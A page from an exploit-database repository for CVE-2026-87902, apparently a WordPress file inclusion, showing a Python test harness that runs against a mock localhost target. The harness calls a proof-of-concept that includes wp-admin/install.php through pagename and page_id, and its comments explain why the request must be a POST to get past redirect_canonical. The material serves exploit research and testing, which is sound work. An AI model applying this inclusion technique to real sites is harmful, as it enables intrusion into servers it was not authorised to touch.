Exploit databaseDownload repository ZIP
GH-ee13c92a8082cc1f7ec7f7f240773733
vulpecuna/cve-2026-87902
Sources for CVE-2026-87902
16 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files17
vulpecuna/cve-2026-87902Revision d59503455cd9
- ↑..Parent directory
- README.md
- control_test.py
- core.py
- directory_test.py
- function_test.py
- harden.php
- list_test.py
- method_test.py
- run.py
- survey.json
- targets.txt
- themes.py
- version_test.py
- versions.txt
- waf.py
- waf.txt
- waf_test.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/method_test.py
Python · 5,896 bytes#!/usr/bin/env python3
"""A target shaped like a site with pretty permalinks, to hold the reason the
payload is a POST.
redirect_canonical() returns untouched for any method that is not GET or HEAD.
On a site with pretty permalinks a GET carrying the payload is answered 301 to
/<slug>/?pagename=<payload>, page_id is dropped on the way, the query matches no
post, and get_page_template() is never reached. The same request as a POST is
left alone and lands.
This target does exactly that and nothing else: it redirects a GET that carries
a pagename, and includes on a POST. So the default has to report an inclusion
and --method get has to report none, which is the table in the README.
python3 lab/method_test.py
POC=/path/to/other/poc.py python3 lab/method_test.py
"""
import http.server
import json
import os
import socketserver
import subprocess
import sys
import threading
import urllib.parse
from pathlib import Path
ROOT = Path(__file__).resolve().parent.parent
THEME = "neve"
HOME = f"""<!DOCTYPE html><html><head>
<meta name="generator" content="WordPress 7.1.1" />
<link rel="stylesheet" href="/wp-content/themes/{THEME}/style.css?ver=1.0" />
</head><body class="page page-id-2 page-template-default">
<a href="/wp-content/themes/{THEME}/">theme</a></body></html>"""
STYLE = f"/*\nTheme Name: {THEME}\nVersion: 4.2.11\n*/"
# The theme's own page, which is what "not included" looks like: it names the
# themes directory, the marker poc.py reads for "the theme rendered its own".
THEMEPAGE = (f'<html><body class="page"><link href="/wp-content/themes/{THEME}'
f'/style.css"></body></html>' + " " * 2000).encode()
# What the included file prints. No /wp-content/themes/ in it, and enough of it
# that it cannot be mistaken for an empty body.
INCLUDED = (b"<html><head><title>WordPress › Installation</title></head>"
b"<body>" + b"install " * 200 + b"</body></html>")
class Target(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def reply(self, code, body=b"", where=""):
self.send_response(code)
self.send_header("Content-Type", "text/html; charset=UTF-8")
if where:
self.send_header("Location", where)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
path, _, query = self.path.partition("?")
if "pagename=" in query and "page_id=" in query:
# What redirect_canonical() does to a GET: it answers with the
# pretty URL, the pagename rides along, and page_id does not survive
# the trip. The redirect fires once, because what it redirects to is
# already canonical.
pagename = urllib.parse.parse_qs(query).get("pagename", [""])[0]
return self.reply(301, b"", f"/sample-page/?pagename={pagename}")
if path == "/":
return self.reply(200, HOME.encode())
if path == f"/wp-content/themes/{THEME}/style.css":
return self.reply(200, STYLE.encode())
if path == f"/wp-content/themes/{THEME}/page-templates/":
return self.reply(200, b"<html><body>Index of</body></html>")
if path == "/sample-page/":
return self.reply(200, THEMEPAGE) # the query matched no post
return self.reply(404, b"not found")
def do_POST(self):
# page_id and pagename travel in the body. Reading it is also what keeps
# the connection usable for the request after this one.
length = int(self.headers.get("Content-Length") or 0)
body = self.rfile.read(length).decode() if length else ""
query = self.path.partition("?")[2]
fields = urllib.parse.parse_qs(query + "&" + body)
# The sink: a page_id that matches a post, and a pagename that resolves
# to a file. Without the page_id the page template is never asked for.
if fields.get("page_id") and "install" in fields.get("pagename", [""])[0]:
return self.reply(200, INCLUDED)
return self.reply(200, THEMEPAGE)
def log_message(self, *args):
pass
def drive(extra):
with socketserver.TCPServer(("127.0.0.1", 0), Target) as server:
server.allow_reuse_address = True
port = server.server_address[1]
threading.Thread(target=server.serve_forever, daemon=True).start()
run = subprocess.run(
[sys.executable, os.environ.get("POC", str(ROOT / "poc.py")),
"--target", f"http://127.0.0.1:{port}",
"--include", "wp-admin/install.php",
"--theme", THEME, "--page-id", "2", "--json", "--yes", *extra],
capture_output=True, text=True, timeout=120)
server.shutdown()
try:
return json.loads(run.stdout.strip().splitlines()[-1])
except (ValueError, IndexError):
return {}
CASES = [
("the default, POST: redirect_canonical leaves it alone and the file lands",
(), lambda f: (f.get("included") and f.get("exit") == 0,
f"included={f.get('included')} exit={f.get('exit')}")),
("--method get: the 301 drops page_id, so nothing reaches the sink",
("--method", "get"),
lambda f: (not f.get("included") and f.get("exit") == 1,
f"included={f.get('included')} exit={f.get('exit')} "
f"note={f.get('note', '')[:60]!r}")),
]
def main() -> int:
bad = 0
for label, extra, check in CASES:
ok, why = check(drive(extra))
print(f" [{'PASS' if ok else 'FAIL'}] {label}")
print(f" {why}")
bad += not ok
if bad:
print(f"\nFAIL {bad} of {len(CASES)} cases")
return 1
print("\nPASS the POST landed and the GET did not, which is why the payload "
"is a POST")
return 0
if __name__ == "__main__":
raise SystemExit(main())